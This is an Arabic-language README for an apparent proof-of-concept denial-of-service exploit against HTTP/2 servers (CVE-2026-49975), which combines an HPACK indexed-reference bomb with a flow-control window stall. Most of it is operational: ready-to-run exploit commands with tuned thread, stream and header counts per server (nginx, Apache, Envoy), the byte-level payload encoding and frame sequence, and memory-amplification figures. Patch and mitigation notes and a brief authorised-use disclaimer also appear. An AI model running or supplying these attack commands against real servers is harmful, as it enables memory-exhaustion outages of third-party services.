
HTTP/2 Bomb PoC — CVE-2026-49975 (قنبلة المرجع المفهرس في HPACK + توقف التحكم في التدفق)
استغلال إثبات المفهوم (PoC) لثغرة CVE-2026-49975، وهي ثغرة حرمان من الخدمة عن بُعد في تطبيقات خوادم HTTP/2. اكتشفها Quang Luong (Calif Security Research)، وأُفصِح عنها في 2 يونيو 2026.
للاستخدام في الاختبارات الأمنية المصرح بها فقط. لا تستخدمه ضد أي بنية تحتية لا تملكها أو ليس لديك إذن كتابي لاختبارها.
يربط الهجوم بين آليتين من آليات بروتوكول HTTP/2:
1. قنبلة المرجع المفهرس في HPACK
يتيح HPACK (RFC 7541) للمرسلين الإشارة إلى الترويسات التي سبق رؤيتها بواسطة الفهرس — عادةً ما يكون بايتًا واحدًا. يُدخل الاستغلال ترويسة شبه فارغة في الجدول الديناميكي مرة واحدة، ثم يشير إليها آلاف المرات. كل مرجع سلكي ببايت واحد يُجبر الخادم على تخصيص ~70 بايتًا من البيانات الداخلية لكل مُدخل. لا تُستخدم أي قيم كبيرة في الهجوم، لذا لا تعمل حدود «max decoded header size» أبدًا.
2. تعليق نافذة التحكم في التدفق في HTTP/2
بإعلان نافذة استقبال صفرية البايت، يمنع المهاجم الخادم من إرسال استجابته أو تحرير أي ذاكرة. تُعيد إطارات WINDOW_UPDATE الدورية، التي يبلغ حجم كل منها بايتًا واحدًا، ضبط مهلة إرسال الخادم، مما يُبقي التخصيصات مثبتة طوال مدة بقاء الاتصال مفتوحًا.
النتيجة: ~16 كيلوبايت تُرسل لكل تدفق → ~1.15 ميغابايت من ذاكرة الخادم RAM تُخصص وتُحتجز لكل تدفق.
بدون أي تبعيات — يعتمد على stdlib فقط.
# Basic test (single connection)
python3 exploit-test.py target.com 443
# nginx-specific bookkeeping bomb (recommended for nginx targets)
python3 exploit-test.py target.com 443 --mode nginx --threads 50 --streams 30 --headers 16374
# Apache/Envoy cookie-crumb technique
python3 exploit-test.py target.com 443 --mode classic --threads 20 --streams 30 --headers 5000
# HTTP/2 cleartext (rare — most servers require TLS for h2)
python3 exploit-test.py target.com 80 --no-ssl
total_streams = threads × streams
server_ram_mb = total_streams × headers × amplification_bytes / 1024²
# nginx example: 50 × 30 × 16374 × 70 / 1024² = ~1,647 MB
# Confirm HTTP/2 support and server version
curl -sv --http2 https://target.com/ 2>&1 | grep -E "ALPN|HTTP/2|server:"
# Vulnerable if:
# - ALPN: server accepted h2 (HTTP/2 enabled)
# - server: nginx/X.Y.Z (where X.Y.Z < 1.29.8)
nginx — قم بالترقية إلى الإصدار 1.29.8+ وأضِف:
http2 max_headers 1000;
أو عطّل HTTP/2 كليًا:
# Remove "http2" from listen directive
listen 443 ssl;
Apache httpd — قم بترقية mod_http2 إلى v2.0.41+. إجراء مؤقت: Protocols http/1.1
IIS / Envoy / Pingora — لا يتوفر تصحيح وقت كتابة هذا الدليل. عطّل HTTP/2 أو ضَع بروكسي مُصحَّحًا أمام الخدمة.
عام (جميع الخوادم):
# Cap worker memory to limit blast radius
ulimit -v 2097152 # 2 GB per process
# Docker: --memory="2g" --memory-swap="2g"
Dynamic table seed (incremental indexing, adds to index 62):
0x40 | name_len | name | value_len | value
= 0x40 0x06 "x-bomb" 0x00
Indexed reference to entry 62 (1 byte each):
0x80 | 62 = 0xbe
Wire payload per stream = 9 bytes (seed) + N bytes (N references)
Server allocation per ref ≈ sizeof(ngx_table_elt_t) ≈ 70 bytes
Client → Server:
PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n (preface)
SETTINGS [INITIAL_WINDOW_SIZE=0] (stall setup)
SETTINGS ACK (after reading server SETTINGS)
HEADERS [stream 1] ← bomb payload (pseudo-headers + HPACK bomb)
HEADERS [stream 3] ← bomb payload
...
WINDOW_UPDATE(1) per stream / 1s (keep-alive stall)
| الملف | الوصف |
|---|---|
exploit-test.py | الاستغلال الرئيسي (PoC) — متعدد التدفقات، إعادة اتصال مستمرة، وضعا nginx + classic |
SECURITY-REPORT-MIST.md | تقرير تقييم مصرح به لـ mist.ac.bd |
LICENSE | MIT |
| الخادم | التضخيم | تأثير العرض التوضيحي | الحالة |
|---|
| Envoy 1.37.2 | ~5,700:1 | 32 غيغابايت في ~10 ثوانٍ | لا يوجد تصحيح وقت الإفصاح |
| Apache httpd 2.4.67 | ~4,000:1 | 32 غيغابايت في ~18 ثانية | أُصلح في mod_http2 v2.0.41 |
| nginx < 1.29.8 | ~70:1 | 32 غيغابايت في ~45 ثانية | أُصلح في nginx 1.29.8 |
| Microsoft IIS (WS 2025) | ~68:1 | 64 غيغابايت في ~45 ثانية | لا يوجد تصحيح وقت الإفصاح |
| Cloudflare Pingora | ~68:1 | — | لا يوجد تصحيح وقت الإفصاح |
| الخيار | الافتراضي | الوصف |
|---|
target | — | اسم المضيف أو عنوان IP |
port | 443 | منفذ TCP |
--threads | 1 | اتصالات متوازية (يعيد كلٌّ منها الاتصال عند الإغلاق) |
--streams | 10 | تدفقات HTTP/2 لكل اتصال |
--headers | 5000 | مراجع HPACK مفهرسة لكل تدفق |
--mode | nginx | nginx (تدوين داخلي، 70:1) أو classic (قيمة كبيرة، 4000:1) |
--no-ssl | off | تعطيل TLS (h2c) |
| الهدف | الوضع | --headers | ملاحظات |
|---|
| nginx < 1.29.8 | nginx | 16374 | يبقى ضمن الحد الافتراضي http2_max_header_size 16k |
| Apache httpd | classic | 5000 | تقنية فتات الكوكيز (cookie crumb) |
| Envoy | classic | 32000 | تضخيم عالٍ |